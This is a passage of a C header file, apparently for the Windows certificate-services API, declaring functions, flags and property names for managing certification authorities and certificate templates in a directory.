CA_FLAG_SCOPE_IS_LDAP_HANDLE is set, wszScope is the LDAP\n//\t\t  binding handle to use during finds.\n//\n// dwFlags      - Oring of the following flags:\n//                CA_FLAG_SCOPE_DNS\n//                CA_FIND_INCLUDE_UNTRUSTED\n//                CA_FIND_LOCAL_SYSTEM\n//                CA_FIND_INCLUDE_NON_TEMPLATE_CA\n//                CA_FLAG_SCOPE_IS_LDAP_HANDLE\n//\n// phCAInfo     - Handle to the returned CA.\n//\n// Return:        Returns S_OK if CA was found.\n//\n\nHRESULT\nWINAPI\nCAFindByName(\n    IN  LPCWSTR     wszCAName,\n    IN  LPCWSTR     wszScope,\n    IN  DWORD       dwFlags,\n    OUT HCAINFO *   phCAInfo\n    );\n\n//\n// CAFindByCertType\n//\n// Given the Name of a Cert Type, find all the CAs within the given domain and\n// return the given phCAInfo structure.\n//\n// wszCertType  - Common Name of the cert type\n//\n// wszScope     - The distinguished name (DN) of the entry at which to start\n//\t\t  the search.  Equivalent of the \"base\" parameter of the\n//\t\t  ldap_search_sxxx APIs.\n//                NULL if use the current domain.\n//                If CA_FLAG_SCOPE_DNS is set, wszScope is in the DNS format.\n//                If CA_FLAG_SCOPE_IS_LDAP_HANDLE is set, wszScope is the LDAP\n//\t\t  binding handle to use during finds.\n//\n// dwFlags      - Oring of the following flags:\n//                CA_FLAG_SCOPE_DNS\n//                CA_FIND_INCLUDE_UNTRUSTED\n//                CA_FIND_LOCAL_SYSTEM\n//                CA_FIND_INCLUDE_NON_TEMPLATE_CA\n//                CA_FLAG_SCOPE_IS_LDAP_HANDLE\n//\n// phCAInfo     - Handle to enumeration of CAs supporting the specified cert\n//\t\t  type.\n//\n// Return:        Returns S_OK on success.\n//                Will return S_OK if none are found.\n//                *phCAInfo will contain NULL\n//\n\nHRESULT\nWINAPI\nCAFindByCertType(\n    IN  LPCWSTR     wszCertType,\n    IN  LPCWSTR     wszScope,\n    IN  DWORD       dwFlags,\n    OUT HCAINFO *   phCAInfo\n    );\n\n\n//\n// CAFindByIssuerDN\n// Given the DN of a CA, find the CA within the given domain and return the\n// given phCAInfo handle.\n//\n// pIssuerDN    - a cert name blob from the CA's certificate.\n//\n// wszScope     - The distinguished name (DN) of the entry at which to start\n//\t\t  the search.  Equivalent of the \"base\" parameter of the\n//\t\t  ldap_search_sxxx APIs.\n//                NULL if use the current domain.\n//                If CA_FLAG_SCOPE_DNS is set, wszScope is in the DNS format.\n//                If CA_FLAG_SCOPE_IS_LDAP_HANDLE is set, wszScope is the LDAP\n//\t\t  binding handle to use during finds.\n//\n// dwFlags      - Oring of the following flags:\n//                CA_FLAG_SCOPE_DNS\n//                CA_FIND_INCLUDE_UNTRUSTED\n//                CA_FIND_LOCAL_SYSTEM\n//                CA_FIND_INCLUDE_NON_TEMPLATE_CA\n//                CA_FLAG_SCOPE_IS_LDAP_HANDLE \n//\n//\n// Return:      Returns S_OK if CA was found.\n//\n\n\nHRESULT\nWINAPI\nCAFindByIssuerDN(\n    IN  CERT_NAME_BLOB const *  pIssuerDN,\n    IN  LPCWSTR                 wszScope,\n    IN  DWORD                   dwFlags,\n    OUT HCAINFO *               phCAInfo\n    );\n\n\n//\n// CAEnumFirstCA\n// Enumerate the CAs in a scope\n//\n// wszScope     - The distinguished name (DN) of the entry at which to start\n//\t\t  the search.  Equivalent of the \"base\" parameter of the\n//\t\t  ldap_search_sxxx APIs.\n//                NULL if use the current domain. \n//                If CA_FLAG_SCOPE_DNS is set, wszScope is in the DNS format.\n//                If CA_FLAG_SCOPE_IS_LDAP_HANDLE is set, wszScope is the LDAP\n//\t\t  binding handle to use during finds.\n//\n// dwFlags      - Oring of the following flags:\n//                CA_FLAG_SCOPE_DNS\n//                CA_FIND_INCLUDE_UNTRUSTED\n//                CA_FIND_LOCAL_SYSTEM\n//                CA_FIND_INCLUDE_NON_TEMPLATE_CA\n//                CA_FLAG_SCOPE_IS_LDAP_HANDLE \n//                CA_ENUM_ADMINISTRATOR_FORCE_MACHINE\n//\n// phCAInfo     - Handle to enumeration of CAs supporting the specified cert\n//\t\t  type.\n//\n//\n// Return:        Returns S_OK on success.\n//                Will return S_OK if none are found.\n//                *phCAInfo will contain NULL\n//\n\nHRESULT\nWINAPI\nCAEnumFirstCA(\n    IN  LPCWSTR          wszScope,\n    IN  DWORD            dwFlags,\n    OUT HCAINFO *        phCAInfo\n    );\n\n\n//\n// CAEnumNextCA\n// Find the Next CA in an enumeration.\n//\n// hPrevCA      - Current CA in an enumeration.\n//\n// phCAInfo     - next CA in an enumeration.\n//\n// Return:        Returns S_OK on success.\n//                Will return S_OK if none are found.\n//                *phCAInfo will contain NULL\n//\n\nHRESULT\nWINAPI\nCAEnumNextCA(\n    IN  HCAINFO          hPrevCA,\n    OUT HCAINFO *        phCAInfo\n    );\n\n//\n// CACreateNewCA\n// Create a new CA of given name.\n//\n// wszCAName    - Common name of the CA\n//\n// wszScope     - The distinguished name (DN) of the entry at which to create\n//\t\t  the CA object.  We will add the \"CN=...,..,CN=Services\" after\n//\t\t  the DN.\n//                NULL if use the current domain. \n//                If CA_FLAG_SCOPE_DNS is set, wszScope is in the DNS format.\n//\n// dwFlags      - Oring of the following flags:\n//                CA_FLAG_SCOPE_DNS\n//\n// phCAInfo     - Handle to the returned CA.\n//\n// See above for other parameter definitions\n//\n// Return:        Returns S_OK if CA was created.\n//\n// NOTE:  Actual updates to the CA object may not occur until CAUpdateCA is\n//\t  called.  In order to successfully update a created CA, the\n//\t  Certificate must be set, as well as the Certificate Types property.\n//\n\nHRESULT\nWINAPI\nCACreateNewCA(\n    IN  LPCWSTR     wszCAName,\n    IN  LPCWSTR     wszScope,\n    IN  DWORD       dwFlags,\n    OUT HCAINFO *   phCAInfo\n    );\n\n//\n// CAUpdateCA\n// Write any changes made to the CA back to the CA object.\n//\n// hCAInfo      - Handle to an open CA object.\n//\n\nHRESULT\nWINAPI\nCAUpdateCA(\n    IN HCAINFO    hCAInfo\n    );\n\n//\n// CAUpdateCAEx\n// Write any changes made to the CA back to the CA object.\n//\n// hCAInfo      - Handle to an open CA object.\n//\n//\n// lpPara       - If CA_FLAG_SCOPE_IS_LDAP_HANDLE is set, lpPara is the LDAP\n//\t\t  binding handle to use during update.\n// dwFlags      - Oring of the following flags:\n//                  CA_FLAG_SCOPE_IS_LDAP_HANDLE\n//\n// Return:        Returns S_OK on success.\n//\nHRESULT\nWINAPI\nCAUpdateCAEx(\n    IN LPVOID   lpPara,\n    IN DWORD    dwFlags,\n    IN HCAINFO  hCAInfo\n    );\n\n//\n// CADeleteCA\n// Delete the CA object from the DS.\n//\n// hCAInfo      - Handle to an open CA object.\n//\n\nHRESULT\nWINAPI\nCADeleteCA(\n    IN HCAINFO    hCAInfo\n    );\n\n//\n// CADeleteCAEx\n// Delete the CA object from the DS.\n//\n// hCAInfo      - Handle to an open CA object.\n//\n//\n// lpPara       - If CA_FLAG_SCOPE_IS_LDAP_HANDLE is set, lpPara is the LDAP\n//\t\t  binding handle to use during update.\n// dwFlags      - Oring of the following flags:\n//                  CA_FLAG_SCOPE_IS_LDAP_HANDLE\n//\n// Return:        Returns S_OK on success.\n\nHRESULT\nWINAPI\nCADeleteCAEx(\n    IN LPVOID   lpPara,\n    IN DWORD    dwFlags,\n    IN HCAINFO  hCAInfo\n    );\n\n//\n// CACountCAs\n// return the number of CAs in this enumeration\n//\n\nDWORD\nWINAPI\nCACountCAs(\n    IN  HCAINFO  hCAInfo\n    );\n\n//\n// CAGetDN\n// returns the DN of the associated DS object\n//\n\nLPCWSTR\nWINAPI\nCAGetDN(\n    IN HCAINFO hCAInfo\n    );\n\n\n//\n// CACloseCA\n// Close an open CA handle\n//\n// hCAInfo      - Handle to an open CA object.\n//\n\nHRESULT\nWINAPI\nCACloseCA(\n    IN HCAINFO hCA\n    );\n\n\n\n//\n// CAGetCAProperty - Given a property name, retrieve a\n// property from a CAInfo.\n//\n// hCAInfo              - Handle to an open CA object.\n//\n// wszPropertyName      - Name of the CA property\n//\n// pawszPropertyValue   - A pointer into which an array of WCHAR strings is\n//\t\t\t  written, containing the values of the property.  The\n//\t\t\t  last element of the array points to NULL.\n//                        If the property is single valued, then the array\n//\t\t\t  returned contains 2 elements, the first pointing to\n//\t\t\t  the value, the second pointing to NULL.  This pointer\n//\t\t\t  must be freed by CAFreeCAProperty.\n//\n// Returns              - S_OK on success.\n//\n\nHRESULT\nWINAPI\nCAGetCAProperty(\n    IN  HCAINFO     hCAInfo,\n    IN  LPCWSTR     wszPropertyName,\n    _Out_ PZPWSTR  *pawszPropertyValue\n    );\n\n\n//\n// CAFreeProperty\n// Frees a previously retrieved property value.\n//\n// hCAInfo              - Handle to an open CA object.\n//\n// awszPropertyValue    - pointer to the previously retrieved property value.\n//\n\nHRESULT\nWINAPI\nCAFreeCAProperty(\n    _In_ HCAINFO hCAInfo,\n    _In_ PZPWSTR awszPropertyValue\n    );\n\n\n//\n// CASetCAProperty - Given a property name, set its value.\n//\n// hCAInfo              - Handle to an open CA object.\n//\n// wszPropertyName      - Name of the CA property\n//\n// awszPropertyValue    - An array of values to set for this property.  The\n//\t\t\t  last element of this - array should be NULL.\n//                        For single valued properties, the values beyond the\n//                        first will be ignored upon update.\n//\n// Returns              - S_OK on success.\n//\n\nHRESULT\nWINAPI\nCASetCAProperty(\n    IN HCAINFO      hCAInfo,\n    IN LPCWSTR      wszPropertyName,\n    _In_ PZPWSTR awszPropertyValue\n    );\n\n\n//*****************************************************************************\n///\n// CA Properties\n//\n//*****************************************************************************\n\n// simple name of the CA\n#define CA_PROP_NAME                    L\"cn\"\n\n// display name of the CA object\n#define CA_PROP_DISPLAY_NAME            L\"displayName\"\n\n// dns name of the machine\n#define CA_PROP_DNSNAME                 L\"dNSHostName\"\n\n// DS Location of CA object (DN)\n#define CA_PROP_DSLOCATION              L\"distinguishedName\"\n\n// Supported cert types\n#define CA_PROP_CERT_TYPES              L\"certificateTemplates\"\n\n// Supported signature algs\n#define CA_PROP_SIGNATURE_ALGS          L\"signatureAlgorithms\"\n\n// DN of the CA's cert\n#define CA_PROP_CERT_DN                 L\"cACertificateDN\"\n\n#define CA_PROP_ENROLLMENT_PROVIDERS    L\"enrollmentProviders\"\n\n// CA's description\n#define CA_PROP_DESCRIPTION\t        L\"Description\"\n\n// CA's URL\n#define CA_PROP_WEB_SERVERS\t        L\"msPKI-Enrollment-Servers\"\n\n// CA's Site Name\n#define CA_PROP_SITENAME\t        L\"msPKI-Site-Name\"\n\n//\n// CAGetCACertificate - Return the current certificate for\n// this CA.\n//\n// hCAInfo      - Handle to an open CA object.\n//\n// ppCert       - Pointer into which a certificate is written.  This\n//\t\t  certificate must be freed via CertFreeCertificateContext.\n//                This value will be NULL if no certificate is set for this CA.\n//\n\nHRESULT\nWINAPI\nCAGetCAFlags(\n    IN HCAINFO  hCAInfo,\n    OUT DWORD  *pdwFlags\n    );\n\n//*****************************************************************************\n//\n// CA Flags\n//\n//*****************************************************************************\n\n// The CA supports certificate templates\n#define CA_FLAG_NO_TEMPLATE_SUPPORT                 0x00000001\n\n// The CA supports NT authentication for requests\n#define CA_FLAG_SUPPORTS_NT_AUTHENTICATION          0x00000002\n\n// The cert requests may be pended\n#define CA_FLAG_CA_SUPPORTS_MANUAL_AUTHENTICATION   0x00000004\n\n// The cert requests may be pended\n#define CA_FLAG_CA_SERVERTYPE_ADVANCED              0x00000008\n\n#define CA_MASK_SETTABLE_FLAGS                      0x0000ffff\n\n\n//\n// CASetCAFlags\n// Sets the Flags of a cert type\n//\n// hCertType    - handle to the CertType\n//\n// dwFlags      - Flags to be set\n//\n\nHRESULT\nWINAPI\nCASetCAFlags(\n    IN HCAINFO             hCAInfo,\n    IN DWORD               dwFlags\n    );\n\nHRESULT\nWINAPI\nCAGetCACertificate(\n    IN  HCAINFO     hCAInfo,\n    OUT PCCERT_CONTEXT *ppCert\n    );\n\n\n//\n// CASetCACertificate - Set the certificate for a CA this CA.\n//\n// hCAInfo      - Handle to an open CA object.\n//\n// pCert        - Pointer to a certificate to set as the CA's certificate.\n//\n\nHRESULT\nWINAPI\nCASetCACertificate(\n    IN  HCAINFO     hCAInfo,\n    IN PCCERT_CONTEXT pCert\n    );\n\n\n//\n// CAGetCAExpiration\n// Get the expirations period for a CA.\n//\n// hCAInfo              - Handle to an open CA handle.\n//\n// pdwExpiration        - expiration period in dwUnits time\n//\n// pdwUnits             - Units identifier\n//\n\nHRESULT\nWINAPI\nCAGetCAExpiration(\n    HCAINFO hCAInfo,\n    DWORD * pdwExpiration,\n    DWORD * pdwUnits\n    );\n\n#define CA_UNITS_DAYS   1\n#define CA_UNITS_WEEKS  2\n#define CA_UNITS_MONTHS 3\n#define CA_UNITS_YEARS  4\n\n\n//\n// CASetCAExpiration\n// Set the expirations period for a CA.\n//\n// hCAInfo              - Handle to an open CA handle.\n//\n// dwExpiration         - expiration period in dwUnits time\n//\n// dwUnits              - Units identifier\n//\n\nHRESULT\nWINAPI\nCASetCAExpiration(\n    HCAINFO hCAInfo,\n    DWORD dwExpiration,\n    DWORD dwUnits\n    );\n\n//\n// CASetCASecurity\n// Set the list of Users, Groups, and Machines allowed to access this CA.\n//\n// hCAInfo      - Handle to an open CA handle.\n//\n// pSD          - Security descriptor for this CA\n//\n\nHRESULT\nWINAPI\nCASetCASecurity(\n    IN HCAINFO                 hCAInfo,\n    IN PSECURITY_DESCRIPTOR    pSD\n    );\n\n//\n// CAGetCASecurity\n// Get the list of Users, Groups, and Machines allowed to access this CA.\n//\n// hCAInfo      - Handle to an open CA handle.\n//\n// ppSD         - Pointer to a location receiving the pointer to the security\n//\t\t  descriptor.  Free via LocalFree.\n//\n\nHRESULT\nWINAPI\nCAGetCASecurity(\n    IN  HCAINFO                    hCAInfo,\n    OUT PSECURITY_DESCRIPTOR *     ppSD\n    );\n\n//\n// CAAccessCheck\n// Determine whether the principal specified by\n// ClientToken can get a cert from the CA.\n//\n// hCAInfo      - Handle to the CA\n//\n// ClientToken  - Handle to an impersonation token that represents the client\n//\t\t  attempting request this cert type.  The handle must have\n//\t\t  TOKEN_QUERY access to the token; otherwise, the function\n//\t\t  fails with ERROR_ACCESS_DENIED.\n//\n// Return: S_OK on success\n//\n\nHRESULT\nWINAPI\nCAAccessCheck(\n    IN HCAINFO      hCAInfo,\n    IN HANDLE       ClientToken\n    );\n\n//\n// CAAccessCheckEx\n// Determine whether the principal specified by\n// ClientToken can get a cert from the CA.\n//\n// hCAInfo      - Handle to the CA\n//\n// ClientToken  - Handle to an impersonation token that represents the client\n//\t\t  attempting request this cert type.  The handle must have\n//\t\t  TOKEN_QUERY access to the token; otherwise, the function\n//\t\t  fails with ERROR_ACCESS_DENIED.\n//\n// dwOption     - Can be one of the following:\n//                        CERTTYPE_ACCESS_CHECK_ENROLL\n\n//                  dwOption can be CERTTYPE_ACCESS_CHECK_NO_MAPPING to \n//                  disallow default mapping of client token\n\n//\n// Return: S_OK on success\n//\n\nHRESULT\nWINAPI\nCAAccessCheckEx(\n    IN HCAINFO      hCAInfo,\n    IN HANDLE       ClientToken,\n    IN DWORD        dwOption\n    );\n\n\n// Used for certenroll.idl:\n// certenroll_begin -- CA_ACCESS_RIGHT_XXX\n\n//\n// Access Rights for HCAINFO and HCERTTYPE\n//\n\n#define CA_ACCESS_RIGHT_READ                          0x01\n \n#define CA_ACCESS_RIGHT_ENROLL                        0x02\n\n#define CA_ACCESS_RIGHT_AUTO_ENROLL                   0x04\n\n// certenroll_end\n\n\n//\n// dwContext for access right\n//\n#define CA_CONTEXT_CURRENT                            0x01\n \n#define CA_CONTEXT_ADMINISTRATOR_FORCE_MACHINE        0x02\n\n//\n// CAGetAccessRights\n//\n// Determine the access rights of the HCAInfo based on the current context\n//\n// hCAInfo      - Handle to the CA\n//\n// dwContext    - Can be one of the following:\n//                 CA_CONTEXT_CURREN \n//                 CA_CONTEXT_ADMINISTRATOR_FORCE_MACHINE\n//\n// pdwAccessRight- Oring of the following flags:\n//                 CA_ACCESS_RIGHT_READ\n//                 CA_ACCESS_RIGH_ENROLL\n//\n//\n// Return: S_OK on success\n//\nHRESULT\nWINAPI\nCAGetAccessRights(\n    IN  HCAINFO      hCAInfo,\n    IN  DWORD        dwContext,\n    OUT DWORD        *pdwAccessRights \n    );\n\n\n// CAIsValid\n//\n// Determine if the HCAINFO has full properties and readable\n// from the current context.  For CAs that is not readable from\n// current context, only CA_PROP_NAME and CA_PROP_DNSNAME are present.\n//\n// hCAInfo      - Handle to the CA\n//\n// pValid       - TRUE is the CA is readable\n//\n// Return: S_OK on success\n//\nHRESULT\nWINAPI\nCAIsValid(\n    IN  HCAINFO     hCAInfo,\n    OUT BOOL        *pValid\n    );\n\n//\n// CAEnumCertTypesForCA - Given a HCAINFO, retrieve handle to the cert types\n// supported or known by this CA.  CAEnumNextCertType can be used to enumerate\n// through the cert types.\n//\n// hCAInfo      - Handle to an open CA handle or NULL if CT_FLAG_ENUM_ALL_TYPES\n//\t\t  is set in dwFlags.\n//\n// dwFlags      - The following flags may be or'd together\n//                CA_FLAG_ENUM_ALL_TYPES \n//                CT_FIND_LOCAL_SYSTEM\n//                CT_ENUM_MACHINE_TYPES\n//                CT_ENUM_USER_TYPES\n//                CT_FLAG_NO_CACHE_LOOKUP  \n//\n// phCertType   - Enumeration of certificate types.\n//\n\n\nHRESULT\nWINAPI\nCAEnumCertTypesForCA(\n    IN  HCAINFO     hCAInfo,\n    IN  DWORD       dwFlags,\n    OUT HCERTTYPE * phCertType\n    );\n\n//\n// CAEnumCertTypesForCAEx - Given a HCAINFO, retrieve handle to the cert types\n// supported or known by this CA.  CAEnumNextCertTypeEx can be used to enumerate\n// through the cert types.  It optional takes a LDAP handle.\n//\n// hCAInfo      - Handle to an open CA handle or NULL if CT_FLAG_ENUM_ALL_TYPES\n//\t\t          is set in dwFlags.\n//\n// wszScope     - NULL if use the current domain.\n//                      If CT_FLAG_SCOPE_IS_LDAP_HANDLE is set, wszScope is the LDAP\n//\t\t                binding handle to use during finds.\n//\n// dwFlags      - The following flags may be or'd together\n//                CA_FLAG_ENUM_ALL_TYPES \n//                CT_FIND_LOCAL_SYSTEM\n//                CT_ENUM_MACHINE_TYPES\n//                CT_ENUM_USER_TYPES\n//                CT_FLAG_NO_CACHE_LOOKUP  \n//                CT_FLAG_SCOPE_IS_LDAP_HANDLE \n// \n// phCertType   - Enumeration of certificate types.\n//\n\n\nHRESULT\nWINAPI\nCAEnumCertTypesForCAEx(\n    IN  HCAINFO     hCAInfo,\n    IN  LPCWSTR     wszScope,\n    IN  DWORD       dwFlags,\n    OUT HCERTTYPE * phCertType\n    );\n\n\n//\n// CAAddCACertificateType\n// Add a certificate type to a CA.  If the cert type has already been added to\n// the CA, it will not be added again. \n//\n// hCAInfo      - Handle to an open CA.\n//\n// hCertType    - Handle to the CertType\n//\n\n\nHRESULT\nWINAPI\nCAAddCACertificateType(\n    HCAINFO hCAInfo,\n    HCERTTYPE hCertType);\n\n\n//\n// CARemoveCACertificateType\n// Remove a certificate type from a CA.  If the CA does not include this cert\n// type, this call does nothing. \n//\n// hCAInfo      - Handle to an open CA.\n//\n// hCertType    - Handle to the CertType\n//\n\n\nHRESULT\nWINAPI\nCARemoveCACertificateType(\n    HCAINFO hCAInfo,\n    HCERTTYPE hCertType);\n\n//\n// CAAddCACertificateTypeEx\n// Add a certificate type to a CA.  If the cert type has already been added to\n// the CA, it will not be added again. Either the hCertType Handle\n// or the CN of the CertType must not be Null.\n//\n// hCAInfo      - Handle to an open CA.\n//\n// hCertType    - Handle to the CertType\n//\n// pwcszCertTypeName    - CN of the Cert Type\n//\n\nHRESULT\nWINAPI\nCAAddCACertificateTypeEx(\n    _In_ HCAINFO hCAInfo,\n    _In_opt_ HCERTTYPE hCertType,\n    _In_opt_ LPWSTR pwszCertTypeName\n    );\n\n\n//\n// CARemoveCACertificateType\n// Remove a certificate type from a CA.  If the CA does not include this cert\n// type, this call does nothing. Either the hCertType Handle\n// or the CN of the CertType must not be Null.\n//\n// hCAInfo      - Handle to an open CA.\n//\n// hCertType    - Handle to the CertType\n//\n// pwcszCertTypeName    - CN of the Cert Type\n//\n\nHRESULT\nWINAPI\nCARemoveCACertificateTypeEx(\n    _In_ HCAINFO hCAInfo,\n    _In_opt_ HCERTTYPE hCertType,\n    _In_opt_ LPWSTR pwszCertTypeName\n    );\n\n\n\n\n//*****************************************************************************\n//\n// Certificate Type APIs\n//\n//*****************************************************************************\n\n//\n// CAEnumCertTypes - Retrieve a handle to all known cert types\n// CAEnumNextCertType can be used to enumerate through the cert types.\n//\n// dwFlags              - an oring of the following:\n//                        CT_FIND_LOCAL_SYSTEM\n//                        CT_ENUM_MACHINE_TYPES\n//                        CT_ENUM_USER_TYPES\n//                        CT_FLAG_NO_CACHE_LOOKUP\n//                        CT_ENUM_ADMINISTRATOR_FORCE_MACHINE\n//                        CT_ENUM_NO_CACHE_TO_REGISTRY\n//\n// phCertType           - Enumeration of certificate types.\n//\n\n\nHRESULT\nWINAPI\nCAEnumCertTypes(\n    IN  DWORD       dwFlags,\n    OUT HCERTTYPE * phCertType\n    );\n\n\n//\n// CAEnumCertTypesEx - Retrieve a handle to all known cert types\n// CAEnumNextCertType can be used to enumerate through the cert types.\n//\n// wszScope            - NULL if use the current domain.\n//                        If CT_FLAG_SCOPE_IS_LDAP_HANDLE is set, wszScope is the LDAP\n//\t\t                  binding handle to use during finds.\n//\n// dwFlags              - an oring of the following:\n//                        CT_FIND_LOCAL_SYSTEM\n//                        CT_ENUM_MACHINE_TYPES\n//                        CT_ENUM_USER_TYPES\n//                        CT_FLAG_NO_CACHE_LOOKUP\n//                        CT_FLAG_SCOPE_IS_LDAP_HANDLE \n//                        CT_ENUM_ADMINISTRATOR_FORCE_MACHINE\n//                        CT_ENUM_NO_CACHE_TO_REGISTRY\n//\n// phCertType           - Enumeration of certificate types.\n//\n\nHRESULT\nWINAPI\nCAEnumCertTypesEx(\n    IN  LPCWSTR     wszScope,\n    IN  DWORD       dwFlags,\n    OUT HCERTTYPE * phCertType\n    );\n\n\n//\n// CAEnumCertTypesEx2 - Retrieve a handle to all known cert types\n//\n// Same as CAEnumCertTypesEx, except:\n// CAEnumCertTypesEx now filters out templates whose minimum client OS version\n// is greater than the current OS version.\n//\n// CAEnumCertTypesEx2 allows the caller to specify whether to filter against\n// dwClientVersion and/or dwServerVersion.\n//\n// dwClientVersion\t- TEMPLATE_CLIENT_VER_NONE doesn't filter on client OS\n//\n// dwServerVersion\t- TEMPLATE_SERVER_VER_NONE doesn't filter on server OS\n//\n\nHRESULT\nWINAPI\nCAEnumCertTypesEx2(\n    IN  LPCWSTR     wszScope,\n    IN  DWORD       dwFlags,\n    IN  DWORD       dwClientVersion,\t// TEMPLATE_CLIENT_VER_*\n    IN  DWORD       dwServerVersion,\t// TEMPLATE_SERVER_VER_*\n    OUT HCERTTYPE * phCertType\n    );\n\n\n//\n// CAFindCertTypeByName - Find a cert type given a Name.\n//\n// wszCertType  - Name of the cert type if CT_FIND_BY_OID is not set in dwFlags\n//                The OID of the cert type if CT_FIND_BY_OID is set in dwFlags\n//\n// hCAInfo      - NULL unless CT_FLAG_SCOPE_IS_LDAP_HANDLE is set in dwFlags\n//\n// dwFlags      - an oring of the following\n//                CT_FIND_LOCAL_SYSTEM\n//                CT_ENUM_MACHINE_TYPES\n//                CT_ENUM_USER_TYPES\n//                CT_FLAG_NO_CACHE_LOOKUP  \n//                CT_FIND_BY_OID\n//                CT_FLAG_SCOPE_IS_LDAP_HANDLE -- If this flag is set, hCAInfo\n//\t\t\t\t\t\t  is the LDAP handle to use\n//\t\t\t\t\t\t  during finds.\n// phCertType   - Pointer to a cert type in which result is returned.\n//\n\nHRESULT\nWINAPI\nCAFindCertTypeByName(\n    IN  LPCWSTR     wszCertType,\n    IN  HCAINFO     hCAInfo,\n    IN  DWORD       dwFlags,\n    OUT HCERTTYPE * phCertType\n    );\n\n\n//\n// CAFindCertTypeByName2 - Find a cert type given a Name.\n//\n// Same as CAFindCertTypeByName, except:\n// CAFindCertTypeByName now filters out templates whose minimum client OS\n// version is greater than the current OS version.\n//\n// CAFindCertTypeByName2 allows the caller to specify whether to filter against\n// dwClientVersion and/or dwServerVersion.\n//\n// dwClientVersion\t- TEMPLATE_CLIENT_VER_NONE doesn't filter on client OS\n//\n// dwServerVersion\t- TEMPLATE_SERVER_VER_NONE doesn't filter on server OS\n//\n\nHRESULT\nWINAPI\nCAFindCertTypeByName2(\n    IN  LPCWSTR     wszCertType,\n    IN  HCAINFO     hCAInfo,\n    IN  DWORD       dwFlags,\n    IN  DWORD       dwClientVersion,\t// TEMPLATE_CLIENT_VER_*\n    IN  DWORD       dwServerVersion,\t// TEMPLATE_SERVER_VER_*\n    OUT HCERTTYPE * phCertType\n    );\n\n\n//*****************************************************************************\n//\n// Default cert type names\n//\n//*****************************************************************************\n\n#define wszCERTTYPE_USER                    L\"User\"\n#define wszCERTTYPE_USER_SIGNATURE          L\"UserSignature\"\n#define wszCERTTYPE_SMARTCARD_USER          L\"SmartcardUser\"\n#define wszCERTTYPE_USER_AS                 L\"ClientAuth\"\n#define wszCERTTYPE_USER_SMARTCARD_LOGON    L\"SmartcardLogon\"\n#define wszCERTTYPE_EFS                     L\"EFS\"\n#define wszCERTTYPE_ADMIN                   L\"Administrator\"\n#define wszCERTTYPE_EFS_RECOVERY            L\"EFSRecovery\"\n#define wszCERTTYPE_CODE_SIGNING            L\"CodeSigning\"\n#define wszCERTTYPE_CTL_SIGNING             L\"CTLSigning\"\n#define wszCERTTYPE_ENROLLMENT_AGENT        L\"EnrollmentAgent\"\n\n\n#define wszCERTTYPE_MACHINE                 L\"Machine\"\n#define wszCERTTYPE_WORKSTATION             L\"Workstation\"\n#define wszCERTTYPE_DC                      L\"DomainController\"\n#define wszCERTTYPE_RASIASSERVER            L\"RASAndIASServer\"\n#define wszCERTTYPE_WEBSERVER               L\"WebServer\"\n#define wszCERTTYPE_KDC                     L\"KDC\"\n#define wszCERTTYPE_CA                      L\"CA\"\n#define wszCERTTYPE_SUBORDINATE_CA          L\"SubCA\"\n#define wszCERTTYPE_CROSS_CA\t\t\t\tL\"CrossCA\"\n#define wszCERTTYPE_KEY_RECOVERY_AGENT      L\"KeyRecoveryAgent\"\n#define wszCERTTYPE_CA_EXCHANGE             L\"CAExchange\"\n#define wszCERTTYPE_DC_AUTH                 L\"DomainControllerAuthentication\"\n#define wszCERTTYPE_DS_EMAIL_REPLICATION    L\"DirectoryEmailReplication\"\n#define wszCERTTYPE_OCSPRESPONSESIGNING\t    L\"OCSPResponseSigning\"\n#define wszCERTTYPE_KERB_AUTHENTICATION     L\"KerberosAuthentication\"\n\n\n#define wszCERTTYPE_IPSEC_ENDENTITY_ONLINE      L\"IPSECEndEntityOnline\"\n#define wszCERTTYPE_IPSEC_ENDENTITY_OFFLINE     L\"IPSECEndEntityOffline\"\n#define wszCERTTYPE_IPSEC_INTERMEDIATE_ONLINE   L\"IPSECIntermediateOnline\"\n#define wszCERTTYPE_IPSEC_INTERMEDIATE_OFFLINE  L\"IPSECIntermediateOffline\"\n\n#define wszCERTTYPE_ROUTER_OFFLINE              L\"OfflineRouter\"\n#define wszCERTTYPE_ENROLLMENT_AGENT_OFFLINE    L\"EnrollmentAgentOffline\"\n#define wszCERTTYPE_EXCHANGE_USER               L\"ExchangeUser\"\n#define wszCERTTYPE_EXCHANGE_USER_SIGNATURE     L\"ExchangeUserSignature\"\n#define wszCERTTYPE_MACHINE_ENROLLMENT_AGENT    L\"MachineEnrollmentAgent\"\n#define wszCERTTYPE_CEP_ENCRYPTION              L\"CEPEncryption\"\n\n\n//\n// CAUpdateCertType\n// Write any changes made to the cert type back to the type store\n//\nHRESULT\nWINAPI\nCAUpdateCertType(\n    IN HCERTTYPE           hCertType\n    );\n\n//\n// CAUpdateCertType\n// Write any changes made to the cert type back to the type store\n//\n// lpPara:-              is a pointer to an LDAP handle\n//                           if dwFlags has CT_FLAG_SCOPE_IS_LDAP_HANDLE\n//                           and is NULL otherwise\n// dwFlags:-                 CT_FLAG_SCOPE_IS_LDAP_HANDLE ,\n//                                 0\n//\nHRESULT\nWINAPI\nCAUpdateCertTypeEx(\n    IN  LPVOID     lpPara,\n    IN  DWORD       dwFlags,\n    IN HCERTTYPE           hCertType\n    );\n\n\n\n//\n// CADeleteCertType\n// Delete a CertType\n//\n// hCertType    - Cert type to delete.\n//\n// NOTE:  If this is called for a default cert type, it will revert back to its\n// default attributes (if it has been modified)\n//\nHRESULT\nWINAPI\nCADeleteCertType(\n    IN HCERTTYPE            hCertType\n    );\n\n\n//\n// CADeleteCertType\n// Delete a CertType\n//\n// hCertType    - Cert type to delete.\n// lpPara:-              is a pointer to an LDAP handle\n//                           if dwFlags has CT_FLAG_SCOPE_IS_LDAP_HANDLE\n//                           and is NULL otherwise\n// dwFlags:-                 CT_FLAG_SCOPE_IS_LDAP_HANDLE ,\n//                                 0\n//\n// NOTE:  If this is called for a default cert type, it will revert back to its\n// default attributes (if it has been modified)\n//\nHRESULT\nWINAPI\nCADeleteCertTypeEx(\n    IN  LPVOID     lpPara,\n    IN  DWORD       dwFlags,\n    IN HCERTTYPE            hCertType\n    );\n\n\n\n//\n// CACloneCertType\n//\n// Clone a certificate type.  The returned certificate type is a clone of the \n// input certificate type, with the new cert type name and display name.  By default,\n// if the input template is a template for machines, all \n// CT_FLAG_SUBJECT_REQUIRE_XXXX bits in the subject name flag are turned off.  \n//                                   \n// hCertType        - Cert type to be cloned.\n// wszCertType      - Name of the new cert type.\n// wszFriendlyName  - Friendly name of the new cert type.  Could be NULL.\n// pvldap           - The LDAP handle (LDAP *) to the directory.  Could be NULL.\n// dwFlags          